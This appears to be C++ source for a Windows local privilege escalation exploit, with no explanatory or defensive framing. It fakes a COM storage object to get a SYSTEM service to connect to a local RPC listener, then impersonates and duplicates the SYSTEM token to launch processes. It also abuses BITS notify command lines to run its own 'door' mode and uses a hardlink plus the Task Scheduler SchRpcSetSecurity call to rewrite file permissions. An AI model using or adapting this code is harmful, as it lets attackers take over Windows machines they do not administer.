	virtual /* [local] */ HRESULT STDMETHODCALLTYPE CopyTo(
		/* [in] */ DWORD ciidExclude,
		/* [annotation][size_is][unique][in] */
		_In_reads_opt_(ciidExclude)  const IID *rgiidExclude,
		/* [annotation][unique][in] */
		_In_opt_  SNB snbExclude,
		/* [annotation][unique][in] */
		_In_  IStorage *pstgDest){
		return _stg->CopyTo(ciidExclude, rgiidExclude, snbExclude, pstgDest);
	}

	virtual HRESULT STDMETHODCALLTYPE MoveElementTo(
		/* [string][in] */ __RPC__in_string const OLECHAR *pwcsName,
		/* [unique][in] */ __RPC__in_opt IStorage *pstgDest,
		/* [string][in] */ __RPC__in_string const OLECHAR *pwcsNewName,
		/* [in] */ DWORD grfFlags){
		return _stg->MoveElementTo(pwcsName, pstgDest, pwcsNewName, grfFlags);
	}

	virtual HRESULT STDMETHODCALLTYPE Commit(
		/* [in] */ DWORD grfCommitFlags){
		return _stg->Commit(grfCommitFlags);
	}

	virtual HRESULT STDMETHODCALLTYPE Revert(void){ return E_FAIL; }

	virtual /* [local] */ HRESULT STDMETHODCALLTYPE EnumElements(
		/* [annotation][in] */
		_Reserved_  DWORD reserved1,
		/* [annotation][size_is][unique][in] */
		_Reserved_  void *reserved2,
		/* [annotation][in] */
		_Reserved_  DWORD reserved3,
		/* [annotation][out] */
		_Outptr_  IEnumSTATSTG **ppenum){
		return _stg->EnumElements(reserved1, reserved2, reserved3, ppenum);
	}

	virtual HRESULT STDMETHODCALLTYPE DestroyElement(
		/* [string][in] */ __RPC__in_string const OLECHAR *pwcsName){
		return _stg->DestroyElement(pwcsName);
	}

	virtual HRESULT STDMETHODCALLTYPE RenameElement(
		/* [string][in] */ __RPC__in_string const OLECHAR *pwcsOldName,
		/* [string][in] */ __RPC__in_string const OLECHAR *pwcsNewName){
		return _stg->RenameElement(pwcsOldName, pwcsNewName);
	}

	virtual HRESULT STDMETHODCALLTYPE SetElementTimes(
		/* [string][unique][in] */ __RPC__in_opt_string const OLECHAR *pwcsName,
		/* [unique][in] */ __RPC__in_opt const FILETIME *pctime,
		/* [unique][in] */ __RPC__in_opt const FILETIME *patime,
		/* [unique][in] */ __RPC__in_opt const FILETIME *pmtime){
		return _stg->SetElementTimes(pwcsName, pctime, patime, pmtime);
	}

	virtual HRESULT STDMETHODCALLTYPE SetClass(
		/* [in] */ __RPC__in REFCLSID clsid){
		return _stg->SetClass(clsid);
	}

	virtual HRESULT STDMETHODCALLTYPE SetStateBits(
		/* [in] */ DWORD grfStateBits,
		/* [in] */ DWORD grfMask){
		return _stg->SetStateBits(grfStateBits, grfMask);
	}

	virtual HRESULT STDMETHODCALLTYPE Stat(
		/* [out] */ __RPC__out STATSTG *pstatstg,
		/* [in] */ DWORD grfStatFlag)
	{

		HRESULT hr = _stg->Stat(pstatstg, grfStatFlag);
		if (SUCCEEDED(hr))
		{
			LPVOID buf = CoTaskMemAlloc(4);
			CopyMemory(buf, L"a\0", 4);

			pstatstg->pwcsName = (LPOLESTR)buf;
		}
		return hr;
	}
};






class FakeObject : public IBackgroundCopyCallback2, public IPersist
{
	HANDLE m_ptoken;
	LONG m_lRefCount;

	IUnknown *_umk;
	~FakeObject() {};

public:
	//Constructor, Destructor
	FakeObject(IUnknown *umk){
		_umk = umk;
		m_lRefCount = 1;

	}

	//IUnknown
	HRESULT __stdcall QueryInterface(REFIID riid, LPVOID *ppvObj)
	{


		//printf("[+]QI [FakeObject] - Marshaller: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this);
		if (riid == __uuidof(IUnknown))
		{
			printf("[+]Query for IUnknown\n");
			*ppvObj = this;
		}
		else if (riid == __uuidof(IBackgroundCopyCallback2))
		{
			printf("[+]Query for IBackgroundCopyCallback2\n");

		}
		else if (riid == __uuidof(IBackgroundCopyCallback))
		{
			printf("[+]Query for IBackgroundCopyCallback\n");

		}
		else if (riid == __uuidof(IPersist))
		{
			printf("[+]Query for IPersist\n");
			*ppvObj = static_cast<IPersist*>(this);
			//*ppvObj = _unk2;
		}

		else if (riid == IID_IMarshal)
		{
			printf("[+]Query for IID_IMarshal\n");
			//*ppvObj = static_cast<IBackgroundCopyCallback2*>(this);


			*ppvObj = NULL;
			return E_NOINTERFACE;
		}
		else
		{
			printf("[+]Unknown IID: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this);
			*ppvObj = NULL;
			return E_NOINTERFACE;
		}

		((IUnknown *)*ppvObj)->AddRef();
		return NOERROR;
	}

	ULONG __stdcall AddRef()
	{
		return InterlockedIncrement(&m_lRefCount);
	}

	ULONG __stdcall Release()
	{
		ULONG  ulCount = InterlockedDecrement(&m_lRefCount);

		if (0 == ulCount)
		{
			delete this;
		}

		return ulCount;
	}

	virtual HRESULT STDMETHODCALLTYPE JobTransferred(
		/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob)
	{
		printf("[+]JobTransferred\n");
		return S_OK;
	}

	virtual HRESULT STDMETHODCALLTYPE JobError(
		/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob,
		/* [in] */ __RPC__in_opt IBackgroundCopyError *pError)
	{
		printf("[+]JobError\n");
		return S_OK;
	}


	virtual HRESULT STDMETHODCALLTYPE JobModification(
		/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob,
		/* [in] */ DWORD dwReserved)
	{
		printf("[+]JobModification\n");
		return S_OK;
	}


	virtual HRESULT STDMETHODCALLTYPE FileTransferred(
		/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob,
		/* [in] */ __RPC__in_opt IBackgroundCopyFile *pFile)
	{
		printf("[+]FileTransferred\n");
		return S_OK;
	}

	virtual HRESULT STDMETHODCALLTYPE GetClassID(
		/* [out] */ __RPC__out CLSID *pClassID)
	{
		printf("[+]GetClassID\n");


		*pClassID = GUID_NULL;

		return S_OK;
	}
};



_COM_SMARTPTR_TYPEDEF(IEnumBackgroundCopyJobs, __uuidof(IEnumBackgroundCopyJobs));

void TestBitsInterface(HANDLE hEvent, IID* PIID_IFake)
{
	HANDLE hPipe = checkNamedPipe();

	if (hPipe != nullptr)
	{
		IBackgroundCopyManagerPtr pQueueMgr;
		IID CLSID_BackgroundCopyManager;
		IID IID_IBackgroundCopyManager;
		CLSIDFromString(L"{4991d34b-80a1-4291-83b6-3328366b9097}", &CLSID_BackgroundCopyManager);
		CLSIDFromString(L"{5ce34c0d-0dc9-4c1f-897c-daa1b78cee7c}", &IID_IBackgroundCopyManager);

		HRESULT	hr = CoCreateInstance(CLSID_BackgroundCopyManager, NULL,
			CLSCTX_ALL, IID_IBackgroundCopyManager, (void**)&pQueueMgr);

		IUnknown * pOuter = new CMarshaller(static_cast<IPersist*>(new FakeObject(nullptr)), *PIID_IFake);
		IUnknown * pInner;

		CoGetStdMarshalEx(pOuter, CLSCTX_INPROC_SERVER, &pInner);

		IBackgroundCopyJobPtr pJob;
		GUID guidJob;

		IEnumBackgroundCopyJobsPtr enumjobs;
		hr = pQueueMgr->EnumJobs(0, &enumjobs);
		if (SUCCEEDED(hr))
		{
			IBackgroundCopyJob* currjob;
			ULONG fetched = 0;

			while ((enumjobs->Next(1, &currjob, &fetched) == S_OK) && (fetched == 1))
			{
				LPWSTR lpStr;
				if (SUCCEEDED(currjob->GetDisplayName(&lpStr)))
				{
					if (wcscmp(lpStr, L"BitsAuthSample") == 0)
					{
						CoTaskMemFree(lpStr);
						currjob->Cancel();
						currjob->Release();
						break;
					}
				}
				currjob->Release();
			}
		}


		pQueueMgr->CreateJob(L"BitsAuthSample",
			BG_JOB_TYPE_DOWNLOAD,
			&guidJob,
			&pJob);



		IUnknownPtr pNotify;


		pNotify.Attach(new CMarshaller(pInner, *PIID_IFake));
		{


			HRESULT hr = pJob->SetNotifyInterface(pNotify);
			printf("[+]Final BackgroundCopyJob Result: %08X\n", hr);

		}
		if (pJob)
		{
			pJob->Cancel();
		}

		//printf("[+]Done\n");
		SetEvent(hEvent);
		NamedPipeCallback(hPipe, g_cmdline, TRUE);
	}
}



void MyTestBits()
{
	IBackgroundCopyManagerPtr pQueueMgr;
	IID CLSID_BackgroundCopyManager;
	IID IID_IBackgroundCopyManager;
	CLSIDFromString(L"{4991d34b-80a1-4291-83b6-3328366b9097}", &CLSID_BackgroundCopyManager);
	CLSIDFromString(L"{5ce34c0d-0dc9-4c1f-897c-daa1b78cee7c}", &IID_IBackgroundCopyManager);

	HRESULT	hr = CoCreateInstance(CLSID_BackgroundCopyManager, NULL,
		CLSCTX_ALL, IID_IBackgroundCopyManager, (void**)&pQueueMgr);
	if (FAILED(hr))
	{
		printf("[FAILED] CoCreateInstance BackgroundCopyManager :%d\n", GetLastError());
	}
	IUnknown * pOuter = new CMarshaller2(static_cast<IPersist*>(new FakeObject(nullptr)));
	IUnknown * pInner;

	CoGetStdMarshalEx(pOuter, CLSCTX_INPROC_SERVER, &pInner);

	IBackgroundCopyJobPtr pJob;
	GUID guidJob;

	IEnumBackgroundCopyJobsPtr enumjobs;
	hr = pQueueMgr->EnumJobs(0, &enumjobs);
	if (FAILED(hr))
	{
		printf("[FAILED] EnumJobsW BackgroundCopyManager :%d\n", GetLastError());
	}


	hr = pQueueMgr->CreateJob(L"BitsAuthSample",
		BG_JOB_TYPE_DOWNLOAD,
		&guidJob,
		&pJob);


	if (FAILED(hr))
	{
		printf("[FAILED] CreateJob BackgroundCopyManager :%d\n", GetLastError());
	}

	IUnknownPtr pNotify;

	pNotify.Attach(new CMarshaller2(pInner));
	{


		HRESULT hr = pJob->SetNotifyInterface(pNotify);
		printf("Final Result: %08X\n", hr);

	}
	if (pJob)
	{
		pJob->Cancel();
		//pJob->Release();
	}

	printf("[Success] New Job Done\n");
	exit(0);

}


BOOL EnablePrivilege(LPCWSTR PrivilegeName){
	HANDLE hCurrentToken;
	if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hCurrentToken))
	{
		printf("[info] can not open current process token: %d\n", GetLastError());
		return FALSE;
	}

	TOKEN_PRIVILEGES* tp = (TOKEN_PRIVILEGES*)malloc(sizeof(TOKEN_PRIVILEGES));
	LUID luid;
	LUID_AND_ATTRIBUTES* plaa = (LUID_AND_ATTRIBUTES*)malloc(sizeof(LUID_AND_ATTRIBUTES));
	PRIVILEGE_SET* pset = (PRIVILEGE_SET*)malloc(sizeof(PRIVILEGE_SET));
	if (!LookupPrivilegeValue(
		NULL,            // lookup privilege on local system
		PrivilegeName,   // privilege to lookup 
		&plaa->Luid))        // receives LUID of privilege
	{
		printf("[info] LookupPrivilegeValue failed: %d\n", GetLastError());
		return FALSE;
	}

	tp->PrivilegeCount = 1;
	plaa->Attributes = SE_PRIVILEGE_ENABLED;
	tp->Privileges[0] = *plaa;
	pset->PrivilegeCount = tp->PrivilegeCount;
	pset->Control = PRIVILEGE_SET_ALL_NECESSARY;
	pset->Privilege[0] = *plaa;

	BOOL b = FALSE;
	if (!AdjustTokenPrivileges(
		hCurrentToken,
		FALSE,
		tp,
		sizeof(TOKEN_PRIVILEGES),
		(PTOKEN_PRIVILEGES)NULL,
		(PDWORD)NULL))
	{
		printf("[info] AdjustTokenPrivileges failed: %d\n", GetLastError());
		return FALSE;
	}
	if (!PrivilegeCheck(hCurrentToken, pset, &b))
	{
		printf("[info] PrivilegeCheck failed: %d\n", GetLastError());
		return FALSE;
	}
	if (b)
	{
		printf("[info] PrivilegeCheck %ls Success: %d\n", PrivilegeName, GetLastError());
	}
	return b;
}


void FakeBits()
{
	BSTR cmdPath = (BSTR)malloc(MAX_PATH);
	BSTR appPath = (BSTR)malloc(MAX_PATH);

	HANDLE hPipe = checkNamedPipe();

	if (hPipe != nullptr)
	{
		IBackgroundCopyManagerPtr pQueueMgr;
		IID CLSID_BackgroundCopyManager;
		IID IID_IBackgroundCopyManager;
		CLSIDFromString(L"{4991d34b-80a1-4291-83b6-3328366b9097}", &CLSID_BackgroundCopyManager);
		CLSIDFromString(L"{5ce34c0d-0dc9-4c1f-897c-daa1b78cee7c}", &IID_IBackgroundCopyManager);
		HRESULT  hr = CoCreateInstance(CLSID_BackgroundCopyManager, NULL,
			CLSCTX_LOCAL_SERVER, IID_IBackgroundCopyManager, (void**)&pQueueMgr);

		if (FAILED(hr))
		{
			printf("[Info]CoCreateInstance IID_IBackgroundCopyManager Failed: %08X\n", hr);
			exit(0);
		}
		else
		{
			printf("[Info] CoCreateInstance IID_IBackgroundCopyManager SUCCEEDED Result: %08X\n", hr);

		}


		IEnumBackgroundCopyJobsPtr enumjobs;
		hr = pQueueMgr->EnumJobs(0, &enumjobs);
		if (FAILED(hr))
		{
			printf("[FAILED] EnumJobsW BackgroundCopyManager :%d\n", GetLastError());
		}
		else
		{
			//printf("[Info] EnumJobsW BackgroundCopyManager SUCCEEDED Result: %08X\n", hr);

		}

		if (SUCCEEDED(hr))
		{
			IBackgroundCopyJob* currjob;
			ULONG fetched = 0;

			while ((enumjobs->Next(1, &currjob, &fetched) == S_OK) && (fetched == 1))
			{
				fetched += 1;
				LPWSTR lpStr;
				if (SUCCEEDED(currjob->GetDisplayName(&lpStr)))
				{
					CoTaskMemFree(lpStr);
					if (currjob)
					{
						currjob->Cancel();
						currjob->Release();
					}
					printf("[Info] IBackgroundCopyJob Canceled SUCCEEDED Result: %08X\n", hr);

				}

			}

			printf("[Info] EnumJobsW Fetch SUCCEEDED Result: %08X Count %d \n", hr, fetched);
		}

		IBackgroundCopyJobPtr pJob;
		GUID guidJob;
		hr =
			pQueueMgr->CreateJob(L"HelperTokenSample",
			BG_JOB_TYPE_DOWNLOAD,
			&guidJob,
			&pJob);
		if (FAILED(hr))
		{
			printf("[Info]CreateJob Failed: %08X\n", hr);
			exit(0);
		}
		else
		{
			printf("[Info] CreateJob SUCCEEDED Result: %08X\n", hr);

		}
		IBackgroundCopyJob2Ptr pJob2;
		hr = pJob->QueryInterface(__uuidof(IBackgroundCopyJob2), (void**)&pJob2);

		//wchar_t *cmdPath_nowin = GetExeDir() + L"\\Quantum.exe";

		wcscpy(appPath, GetExePath().GetBSTR());
		wcscpy(cmdPath, appPath);
		wcscat(cmdPath, L" door");



		//hr = pJob2->SetNotifyCmdLine(cmdPath_nowin, L"0");
		hr = pJob2->SetNotifyCmdLine(appPath, cmdPath);
		if (FAILED(hr))
		{
			printf("[Info]SetNotifyCmdLine Failed: %08X\n", hr);
			exit(0);
		}
		else
		{
			//printf("[Info] SetNotifyCmdLine SUCCEEDED Result: %08X\n", hr);

		}
		hr = pJob->SetNotifyFlags(BG_NOTIFY_JOB_ERROR || BG_NOTIFY_JOB_TRANSFERRED);
		if (FAILED(hr))
		{
			printf("[Info]SetNotifyFlags Failed: %08X\n", hr);
			exit(0);
		}
		else
		{
			//printf("[Info] SetNotifyFlags SUCCEEDED Result: %08X\n", hr);

		}
		hr = pJob->AddFile(L"C:\\Windows\\system32\\cmd.exe", GetExeDir() + L"\\1.png");
		if (FAILED(hr))
		{
			printf("[Info]AddFile Failed: %08X\n", hr);
			exit(0);
		}
		else
		{
			printf("[Info] AddFile SUCCEEDED Result: %08X\n", hr);

		}
		hr = pJob->Resume();
		if (FAILED(hr))
		{
			printf("[Info]Resume Failed: %08X\n", hr);
			exit(0);
		}
		else
		{
			printf("[Info] Resume SUCCEEDED Result: %08X\n", hr);

		}
		if (pJob)
		{

			int cnt = 0;
			BG_JOB_STATE stat = BG_JOB_STATE_ACKNOWLEDGED;
			//&&stat != BG_JOB_STATE_ERROR			
			while ((stat != BG_JOB_STATE_TRANSFERRED&&stat != BG_JOB_STATE_ERROR&&stat != BG_JOB_STATE_TRANSIENT_ERROR&&stat != BG_JOB_STATE_SUSPENDED&&stat != BG_JOB_STATE_CANCELLED) && cnt < 80)
			{
				hr = pJob->GetState(&stat);
				if (FAILED(hr))
				{
					printf("[Info] pJob->GetState Failed: %08X\n", hr);

				}
				Sleep(500);
				cnt++;
			}

			printf("[Info] Final Finished Job  GetState is : %08X time is: %d Result: %d\n", stat, cnt, GetLastError());
			hr = pJob->Complete();
			if (SUCCEEDED(hr))
			{
				printf("[Success] Copy Job Complete SUCCEEDED Result: %08X\n", hr);

			}
			else
			{
				printf("[Info] Copy Job Complete Result: %08X\n", hr);
			}

			//hr = pJob->Release();

		}
		else
		{
			printf("[Info] Job is a null pointer : %08X\n", hr);
			exit(0);
		}

		NamedPipeCallback(hPipe, g_cmdline, FALSE);
	}


}


RPC_STATUS CALLBACK SecurityCallback(
	_In_ RPC_IF_HANDLE Interface,
	_In_ void          *Context
	)
{
	printf("[Info] SecurityCallback \n");
	DWORD session_id = 0;
	BSTR cmdPath = (BSTR)malloc(MAX_PATH);
	BSTR appPath = (BSTR)malloc(MAX_PATH);

	RPC_STATUS status = RpcImpersonateClient(Context);
	if (status == RPC_S_OK)
	{
		printf("[Success] Try RpcImpersonateClient Success: %u\n", GetLastError()); // %d\n", GetCurrentThreadId());

		HANDLE hToken = nullptr;
		HANDLE duped_token = nullptr;
		if (!OpenThreadToken(GetCurrentThread(), MAXIMUM_ALLOWED, FALSE, &hToken))
		{
			printf("[error] OpenThreadToken failed: %u\n", GetLastError());


			return 0;

		}


		PTOKEN_USER user = (PTOKEN_USER)malloc(0x1000);
		DWORD ret_len = 0;
		if (GetTokenInformation(hToken, TokenUser, user, 0x1000, &ret_len))
		{
			LPWSTR sid_name;
			ConvertSidToStringSid(user->User.Sid, &sid_name);
			if (((wcscmp(sid_name, L"S-1-5-18") == 0 || wcscmp(sid_name, L"S-1-5-20") == 0)))
			{
				printf("[!] System Token is Name  => %ls  ValuePointeris:%p \n", sid_name, hToken);
				//
			}
			else {
				printf("[!]  Token is Sid Name  => %ls  ValuePointeris:%p \n", sid_name, hToken);
			}
		}
		if (wcscmp(g_picline, L"p") == 0 || wcscmp(g_picline, L"y") == 0)
		{
			DuplicateTokenEx(hToken,
				TOKEN_ALL_ACCESS,
				NULL,
				SecurityImpersonation,
				TokenPrimary,
				&duped_token);
			if (duped_token)
			{


				ProcessIdToSessionId(GetCurrentProcessId(), &session_id);

				if (!SetTokenInformation(duped_token, TokenSessionId, &session_id, 4u))
				{
					printf("[Info] SetTokenInformation Failed: %08X\n", GetLastError());
				}

				hToken = duped_token;
			}

		} /*else
		  {
		  ProcessIdToSessionId(GetCurrentProcessId(), &session_id);

		  if (!SetTokenInformation(hToken, TokenSessionId, &session_id, 4u))
		  {
		  printf("[Info] SetTokenInformation Failed: %08X\n", GetLastError());
		  }


		  }*/
		RpcRevertToSelf();
		STARTUPINFO si;
		PROCESS_INFORMATION pi;

		ZeroMemory(&si, sizeof(si));
		si.cb = sizeof(si);
		ZeroMemory(&pi, sizeof(pi));
		si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
		si.hStdInput = GetStdHandle(STD_INPUT_HANDLE);
		si.hStdOutput = GetStdHandle(STD_OUTPUT_HANDLE);
		si.hStdError = GetStdHandle(STD_ERROR_HANDLE);
		si.wShowWindow = SW_HIDE;
		si.lpDesktop = L"winsta0\\default";

		if (wcscmp(g_picline, L"p") == 0)
		{
			HANDLE hPipe = checkNamedPipe();
			wcscpy(appPath, GetExePath().GetBSTR());
			wcscpy(cmdPath, appPath);
			wcscat(cmdPath, L" door");
			//wcscpy(cmdPath, L"c:\\windows\\notepad.exe");
			printf("[info] Run %ls\n", cmdPath);
			printf("[info] Try Use CreateProcessWithTokenW \n");
			EnablePrivilege(SE_IMPERSONATE_NAME);
			if (CreateProcessWithTokenW(hToken, NULL, _wcsdup(appPath), _wcsdup(cmdPath), 0, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) {

				printf("[!] process with pid:%d created.\n==============================\n", pi.dwProcessId);

				fflush(stdout);
				NamedPipeCallback(hPipe, g_cmdline, FALSE);
				//WaitForSingleObject(pi.hProcess, -1);

			}
			else
			{
				//si.dwFlags = 0;
				printf("[info] Try Use CreateProcessAsUser \n");
				EnablePrivilege(SE_ASSIGNPRIMARYTOKEN_NAME);
				if (CreateProcessAsUserW(hToken, _wcsdup(appPath), _wcsdup(cmdPath), NULL, 0, TRUE, 0, 0, 0, &si, &pi)) {


					printf("[!] process with pid:%d created.\n==============================\n", pi.dwProcessId);

					fflush(stdout);
					NamedPipeCallback(hPipe, g_cmdline, FALSE);
					WaitForSingleObject(pi.hProcess, 10000);
				}
				else
				{
					printf("[x] can not create process:%d\n", GetLastError());
				}

			}

		}
		else if (wcscmp(g_picline, L"y") == 0)
		{
			printf("[info] Run %ls\n", g_cmdline);
			printf("[info] Try Use CreateProcessAsUser \n");
			EnablePrivilege(SE_ASSIGNPRIMARYTOKEN_NAME);
			if (CreateProcessAsUser(hToken, NULL, _wcsdup(g_cmdline), 0, 0, TRUE, 0, 0, 0, &si, &pi)) {
				printf("[!] process with pid:%d created.\n==============================\n", pi.dwProcessId);
				fflush(stdout);
				WaitForSingleObject(pi.hProcess, 10000);
			}
			else
			{
				printf("[info] Try Use CreateProcessWithTokenW \n");
				EnablePrivilege(SE_IMPERSONATE_NAME);
				if (CreateProcessWithTokenW(hToken, NULL, NULL, _wcsdup(g_cmdline), 0, 0, NULL, (LPSTARTUPINFOW)&si, &pi)) {
					printf("[!] process with pid:%d created.\n==============================\n", pi.dwProcessId);

					fflush(stdout);
					//WaitForSingleObject(pi.hProcess, -1);
				}
				else
				{
					printf("[x] can not create process:%d\n", GetLastError());
				}

			}
			ExitProcess(0);



		}
		else  if (wcscmp(g_picline, L"x") == 0){
			bool b = ImpersonateLoggedOnUser(hToken);
			if (b)
			{
				// Configure the impersonated logged-on user's token as the helper token.
				printf("[Info] ImpersonateLoggedOnUser Success Complete Result: %08X\n", GetLastError());

				//RevertToSelf();
			}
			else
			{

				printf("[Info] ImpersonateLoggedOnUser Failed: %08X\n", GetLastError());
				exit(0);
			}

			FakeBits();

		}

		if (hToken)
		{
			CloseHandle(hToken);
		}
		else
		{
			if (duped_token)
			{
				CloseHandle(duped_token);
			}
		}

	}
	return RPC_S_OK;
}




void CreateNewProcess()
{
	try
	{
		ShellExecuteW(NULL, NULL, L"C:\\Windows\\System32\\bitsadmin.exe", L"/reset /allusers", NULL, SW_HIDE);
	}
	catch (const _com_error& err)
	{
	}

	HANDLE hPipe = CreateFile(PIPENAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	PSID pEveryoneSID = NULL;
	PACL pACL = NULL;
	EXPLICIT_ACCESS ea;
	SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY;
	AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &pEveryoneSID);
	ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
	ea.grfAccessPermissions = FILE_ALL_ACCESS;
	ea.grfAccessMode = GRANT_ACCESS;
	ea.grfInheritance = NO_INHERITANCE;
	ea.Trustee.TrusteeForm = TRUSTEE_IS_SID;
	ea.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP;
	ea.Trustee.ptstrName = (LPTSTR)pEveryoneSID;
	SetEntriesInAcl(1, &ea, NULL, &pACL);
	PSECURITY_DESCRIPTOR pSd = (PSECURITY_DESCRIPTOR)malloc(SECURITY_DESCRIPTOR_MIN_LENGTH);
	InitializeSecurityDescriptor(pSd, SECURITY_DESCRIPTOR_REVISION);
	SetSecurityDescriptorDacl(pSd, TRUE, pACL, FALSE);
	SECURITY_ATTRIBUTES sa = { 0 };
	sa.nLength = sizeof(SECURITY_ATTRIBUTES);
	sa.lpSecurityDescriptor = pSd;
	sa.bInheritHandle = true;
	if (hPipe != INVALID_HANDLE_VALUE)
	{
		DWORD len = 0;
		DWORD d = 0;
		ReadFile(hPipe, &len, 4, &d, 0);
		wchar_t *arg = (wchar_t*)malloc(len*sizeof(wchar_t));
		ZeroMemory(arg, len);
		ReadFile(hPipe, arg, len, &d, NULL);
		HANDLE hRead, hWrite;
		CreatePipe(&hRead, &hWrite, &sa, 1024);
		PROCESS_INFORMATION pi = { 0 };
		STARTUPINFOW si = { 0 };
		si.hStdError = hWrite;
		si.hStdOutput = hWrite;
		si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
		si.wShowWindow = SW_HIDE;
		if (CreateProcessW(0, arg, 0, 0, 1, 0, 0, 0, &si, &pi))
		{
			WriteFile(hPipe, &pi.dwProcessId, 4, &d, 0);
			THREAD_PARM tp = { 0 };
			tp.Reader = hRead;
			tp.Writer = hPipe;
			HANDLE hReadThread = CreateThread(NULL, 0, ThreadProc, &tp, 0, NULL);
			WaitForSingleObject(pi.hProcess, -1);
			CloseHandle(pi.hProcess);
			CloseHandle(pi.hThread);
			TerminateThread(hReadThread, 0);
			CloseHandle(hReadThread);
			FlushFileBuffers(hPipe);
		}
		else
		{
			DWORD err = 0;
			WriteFile(hPipe, &err, 4, &d, 0);
			err = GetLastError();
			WriteFile(hPipe, &err, 4, &d, 0);
			FlushFileBuffers(hPipe);
			Sleep(500);//wait for client read
		}
		CloseHandle(hRead);
		CloseHandle(hWrite);
		CloseHandle(hPipe);
		return;
	}

}


BSTR GetRandStr(int iNum)
{
	OLECHAR strRet[20] = L"";
	OLECHAR strTemp[2];

	for (int i = 0; i < iNum; ++i)
	{
		srand((unsigned)time(NULL) + i);
		int x = rand() % 10;
		wcsncpy(strTemp, &CCH[x], 1);
		strTemp[1] = '\0';
		wcscat(strRet, strTemp);
	}
	return  _wcsdup(strRet);
}



BOOL RunRpc(LPCWSTR dllPath)
{
	HRESULT hr = S_OK;
	HRESULT hr1 = S_OK;
	RPC_STATUS status;
	RPC_WSTR StringBinding;

	RPC_WSTR ObjUuid = L"86D35949-83C9-4044-B424-DB363231FD0C";
	//RPC_WSTR ObjUuid = L"c8ba73d2-3d55-429c-8e9a-c44f006f69fc";
	status = RpcStringBindingComposeW(ObjUuid, (RPC_WSTR)L"ncalrpc", 0, 0, 0, &StringBinding);
	status = RpcBindingFromStringBindingW(StringBinding, &hBinding);
	if (status) return(status);
	status = RpcEpResolveBinding(hBinding, ITaskSchedulerService_v1_0_c_ifspec);
	if (status) return(status);
	RPC_SECURITY_QOS SecurityQOS = {};
	SecurityQOS.Version = 1;
	SecurityQOS.ImpersonationType = RPC_C_IMP_LEVEL_IMPERSONATE;
	SecurityQOS.Capabilities = RPC_C_QOS_CAPABILITIES_DEFAULT;
	SecurityQOS.IdentityTracking = RPC_C_QOS_IDENTITY_STATIC;
	status = RpcBindingSetAuthInfoExW(hBinding, 0, 6u, 0xAu, 0, 0, (RPC_SECURITY_QOS*)&SecurityQOS);
	if (status) return(status);
	status = RpcStringFreeW(&StringBinding);
	if (status) return(status);
	BSTR UpdateTask = GetRandStr(15);
	bstr_t UpdateTaskFile = bstr_t(L"c:\\windows\\tasks\\") + UpdateTask + L".job";
	printf("[+]RpcSetSecurity Target:%ls,Task:%ls\n", dllPath, UpdateTask);
	if (CreateNativeHardlink(UpdateTaskFile, dllPath) == false)
	{
		printf("[+]CreateNativeHardlink Failed,error: %d\n", GetLastError());
		return FALSE;
	}
	hr1 = SchRpcCreateFolder(hBinding, UpdateTask, L"D:(A;;FA;;;BA)(A;OICIIO;GA;;;BA)(A;;FA;;;SY)(A;OICIIO;GA;;;SY)(A;;0x1301bf;;;AU)(A;OICIIO;SDGXGWGR;;;AU)(A;;0x1200a9;;;BU)(A;OICIIO;GXGR;;;BU)", 0);
	hr = SchRpcSetSecurity(hBinding, UpdateTask, L"D:(A;;FA;;;BA)(A;OICIIO;GA;;;BA)(A;;FA;;;SY)(A;OICIIO;GA;;;SY)(A;;0x1301bf;;;AU)(A;OICIIO;SDGXGWGR;;;AU)(A;;0x1200a9;;;BU)(A;OICIIO;GXGR;;;BU)", 0);
	printf("[+]SchRpcCreateFolder Result: %08X,SchRpcSetSecurity Result: %08X\n", hr1, hr);
	return TRUE;
}


DWORD CALLBACK CallIntoCom(LPVOID event)
{
	HANDLE ev = (HANDLE)event;
	WaitForSingleObject(ev, INFINITE);
	Sleep(1000);

	printf("[Info] Starting COM client\n");

	ILockBytes* lb;
	CreateILockBytesOnHGlobal(nullptr, TRUE, &lb);
	IStorage* stg;
	StgCreateDocfileOnILockBytes(lb, STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE, 0, &stg);
	IStorage* fake = new FakeComObject(stg);
	//CLSIDFromString(L"{4991d34b-80a1-4291-83b6-3328366b9097}", &clsid);

	//GUID clsid = { 0x7d096c5f, 0xac08, 0x4f1f, { 0xbe, 0xb7, 0x5c, 0x22, 0xc5, 0x17, 0xce, 0x39 } };
	MULTI_QI qis[1] = {};
	qis[0].pIID = &IID_IUnknown;
	HRESULT hr = S_OK;
	printf("[Info] Start launch CoGetInstanceFromIStorage To Get System Token  \n");
	hr = CoGetInstanceFromIStorage(nullptr, &Global_Clsid, nullptr, CLSCTX_LOCAL_SERVER, fake, 1, qis);
	//MyTestBits();
	printf("[Info] CoGetInstanceFromIStorage Done Result %08X \n", hr);
	if (FAILED(hr))
	{
		exit(0);
	}
	return 0;
}



void BindObjectExporter()
{
	HANDLE ev = CreateEvent(nullptr, FALSE, FALSE, nullptr);
	CreateThread(nullptr, 0, CallIntoCom, ev, 0, nullptr);

	RPC_STATUS status;
	//wchar_t * pszProtocolSequence = L"ncacn_np";
	wchar_t * pszProtocolSequence = L"NCACN_IP_TCP";
	wchar_t * pszSecurity = NULL;

	//wchar_t * pszEndpoint = L"\\PIPE\\afake";
	wchar_t * pszEndpoint = L"5688";
	//wchar_t * pszEndpoint = L"5686";
	wchar_t * pszStringBinding = NULL;
	unsigned int  cMinCalls = 1;
	unsigned int  fDontWait = FALSE;
	wchar_t NetworkAddr[100];
	DWORD dwNameLen;
